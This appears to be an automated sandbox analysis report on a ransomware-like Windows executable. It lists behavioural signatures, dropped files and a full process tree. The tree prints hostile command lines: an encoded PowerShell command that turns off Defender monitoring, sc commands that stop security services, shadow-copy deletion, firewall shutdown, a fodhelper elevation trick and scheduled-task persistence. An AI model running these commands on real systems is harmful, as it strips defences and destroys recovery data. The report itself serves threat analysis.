Analysis

  • max time kernel
    20s
  • max time network
    160s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    04/05/2026, 07:45

General

  • Target
    providenceresources.com_hyber.exe
  • Size 51KB
  • Sample260504-jletkses41
  • SHA256 8d958f277df909637d78212813ad13d2201d50298f3f4f9a08277e7f7427ff12
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Disables service(s) 3 TTPs
  • Drops startup file 64 IoCs
  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 15 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\providenceresources.com_hyber.exe
    "C:\Users\Admin\AppData\Local\Temp\providenceresources.com_hyber.exe"
    1⤵
    • Drops file in Drivers directory
    • Drops startup file
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2276
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3832
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:4548
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4552
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:3408
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:1028
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:3404
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:3156
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:3080
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1668
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3152
      • C:\Users\Admin\AppData\Local\Temp\providenceresources.com_hyber.exe
        "C:\Users\Admin\AppData\Local\Temp\providenceresources.com_hyber.exe"
        3⤵
          PID:2312
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
          PID:1240
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\providenceresources.com_hyber.exe" /sc onlogon /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2492
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
          2⤵
            PID:4884
            • C:\Windows\system32\vssadmin.exe
              vssadmin delete shadows /all /quiet
              3⤵
              • Interacts with shadow copies
              PID:4036
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic shadowcopy delete
              3⤵
                PID:4812
            • C:\Windows\SYSTEM32\cmd.exe
              "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
              2⤵
                PID:3440
                • C:\Windows\system32\systeminfo.exe
                  systeminfo
                  3⤵
                  • Gathers system information
                  PID:3080
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3560
                • C:\Windows\system32\tasklist.exe
                  tasklist
                  3⤵
                  • Enumerates processes with tasklist
                  PID:1428
              • C:\Windows\SYSTEM32\cmd.exe
                "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
                2⤵
                  PID:420
                  • C:\Windows\system32\whoami.exe
                    whoami
                    3⤵
                      PID:4332
                  • C:\Windows\SYSTEM32\cmd.exe
                    "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
                    2⤵
                      PID:5040
                      • C:\Windows\system32\net.exe
                        net user
                        3⤵
                          PID:2884
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 user
                            4⤵
                              PID:4224
                        • C:\Windows\SYSTEM32\cmd.exe
                          "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
                          2⤵
                            PID:224
                            • C:\Windows\system32\ipconfig.exe
                              ipconfig /all
                              3⤵
                              • Gathers network information
                              PID:5076
                          • C:\Windows\SYSTEM32\cmd.exe
                            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
                            2⤵
                            • Suspicious use of WriteProcessMemory
                            PID:4780
                            • C:\Windows\system32\NETSTAT.EXE
                              netstat -an
                              3⤵
                              • Gathers network information
                              PID:2104
                          • C:\Windows\SYSTEM32\schtasks.exe
                            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\providenceresources.com_hyber.exe" /sc daily /f
                            2⤵
                            • Scheduled Task/Job: Scheduled Task
                            PID:3116
                          • C:\Windows\System32\wscript.exe
                            "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                            2⤵
                              PID:4348
                            • C:\Windows\System32\notepad.exe
                              "C:\Windows\System32\notepad.exe"
                              2⤵
                                PID:3020
                              • C:\Windows\System32\vssadmin.exe
                                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                2⤵
                                • Interacts with shadow copies
                                PID:3108
                              • C:\Windows\System32\wbem\WMIC.exe
                                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                2⤵
                                  PID:2012
                                • C:\Windows\System32\net.exe
                                  "C:\Windows\System32\net.exe" stop srservice
                                  2⤵
                                    PID:3364
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 stop srservice
                                      3⤵
                                        PID:4904
                                    • C:\Windows\System32\netsh.exe
                                      "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                                      2⤵
                                      • Modifies Windows Firewall
                                      PID:1560
                                    • C:\Windows\System32\sc.exe
                                      "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                                      2⤵
                                      • Launches sc.exe
                                      PID:1160
                                    • C:\Windows\System32\sc.exe
                                      "C:\Windows\System32\sc.exe" stop i8042prt
                                      2⤵
                                      • Launches sc.exe
                                      PID:756
                                  • C:\Windows\system32\LogonUI.exe
                                    "LogonUI.exe" /flags:0x0 /state0:0xa3a1a855 /state1:0x41c64e6d
                                    1⤵
                                    • Modifies data under HKEY_USERS
                                    • Suspicious use of AdjustPrivilegeToken
                                    • Suspicious use of SetWindowsHookEx
                                    PID:3188
                                  • C:\Users\Admin\AppData\Local\Temp\providenceresources.com_hyber.exe
                                    C:\Users\Admin\AppData\Local\Temp\providenceresources.com_hyber.exe
                                    1⤵
                                      PID:1596
                                    • C:\Users\Admin\AppData\Local\Temp\providenceresources.com_hyber.exe
                                      C:\Users\Admin\AppData\Local\Temp\providenceresources.com_hyber.exe
                                      1⤵
                                        PID:5088
                                      • C:\Windows\System32\svchost.exe
                                        C:\Windows\System32\svchost.exe -k WerSvcGroup
                                        1⤵
                                          PID:1028
                                        • C:\Windows\system32\vssvc.exe
                                          C:\Windows\system32\vssvc.exe
                                          1⤵
                                            PID:1872

                                          Network

                                                MITRE ATT&CK Enterprise v16

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                                                Downloads

                                                invoice_1.pdf

                                                • Path C:\ProgramData\invoice_1.pdf
                                                • Size 69KB
                                                • SHA256 a3413d79134e046f8f0fb378a96f211caf13954a1dd1c14c148c4a5e09adbced
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                doc_3.pdf

                                                • Path C:\SystemVolumeInformation\doc_3.pdf
                                                • Size 68KB
                                                • SHA256 2c89cf0e00888521bf5186d3b571b799239787693b533f3226bbe24635adcd16
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                providenceresources.com_hyber.exe.log

                                                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\providenceresources.com_hyber.exe.log
                                                • Size 660B
                                                • SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
                                                • MD5 SHA1 SHA512 TLSH

                                                __PSScriptPolicyTest_tuxctfvq.stb.ps1

                                                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tuxctfvq.stb.ps1
                                                • Size 60B
                                                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                • MD5 SHA1 SHA512 TLSH

                                                createshortcut.vbs

                                                • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                                                • Size 254B
                                                • SHA256 64db1954acf70752ff2d9074c356cacb9736425d12f69921ff6dbff1a8d82dfc
                                                • MD5 SHA1 SHA512 TLSH

                                                del.bat

                                                • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                                                • Size 59B
                                                • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                                                • MD5 SHA1 SHA512 TLSH

                                                makelnk.vbs

                                                • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                                                • Size 255B
                                                • SHA256 18249329d6fb5cf531db178eeff7957475db0f1aa7cfb14bbef9f97b9bdef7dc
                                                • MD5 SHA1 SHA512 TLSH

                                                sysupdate.exe

                                                • Path C:\Windows\System32\sysupdate.exe
                                                • Size 51KB
                                                • SHA256 8d958f277df909637d78212813ad13d2201d50298f3f4f9a08277e7f7427ff12
                                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                                memory/1240-2241-0x0000023524B30000-0x0000023524BCE000-memory.dmp

                                                memory/1240-2242-0x00000235264F0000-0x00000235264FC000-memory.dmp

                                                memory/2276-0-0x00000000007B0000-0x00000000007C4000-memory.dmp

                                                memory/2276-2271-0x000000001D620000-0x000000001D632000-memory.dmp

                                                memory/2276-161-0x0000000002BC0000-0x0000000002BCC000-memory.dmp

                                                memory/2276-3-0x000000001DE50000-0x000000001E378000-memory.dmp

                                                memory/2276-2-0x000000001DAD0000-0x000000001DC92000-memory.dmp

                                                memory/2276-674-0x0000000002BD0000-0x0000000002BE0000-memory.dmp

                                                memory/2276-1-0x0000000002BD0000-0x0000000002BE0000-memory.dmp

                                                memory/3020-2257-0x0000022C32A80000-0x0000022C32A81000-memory.dmp

                                                memory/3020-2277-0x0000022C32840000-0x0000022C328DE000-memory.dmp

                                                memory/3188-657-0x0000022715240000-0x00000227152DE000-memory.dmp

                                                memory/3832-23-0x0000027832690000-0x000002783269A000-memory.dmp

                                                memory/3832-22-0x00000278325D0000-0x0000027832683000-memory.dmp

                                                memory/3832-1996-0x000002781A080000-0x000002781A092000-memory.dmp

                                                memory/3832-484-0x0000027832840000-0x000002783284A000-memory.dmp

                                                memory/3832-423-0x0000027832830000-0x0000027832836000-memory.dmp

                                                memory/3832-386-0x0000027832800000-0x0000027832808000-memory.dmp

                                                memory/3832-26-0x0000027832850000-0x000002783286A000-memory.dmp

                                                memory/3832-13-0x000002781A100000-0x000002781A122000-memory.dmp

                                                memory/3832-25-0x00000278327F0000-0x00000278327FA000-memory.dmp

                                                memory/3832-24-0x0000027832810000-0x000002783282C000-memory.dmp

                                                memory/3832-1995-0x0000027818300000-0x000002781830C000-memory.dmp

                                                memory/3832-21-0x00000278325B0000-0x00000278325CC000-memory.dmp

                                                memory/4348-2268-0x000001C0403C0000-0x000001C0403CC000-memory.dmp

                                                memory/4348-2267-0x000001C040190000-0x000001C04022E000-memory.dmp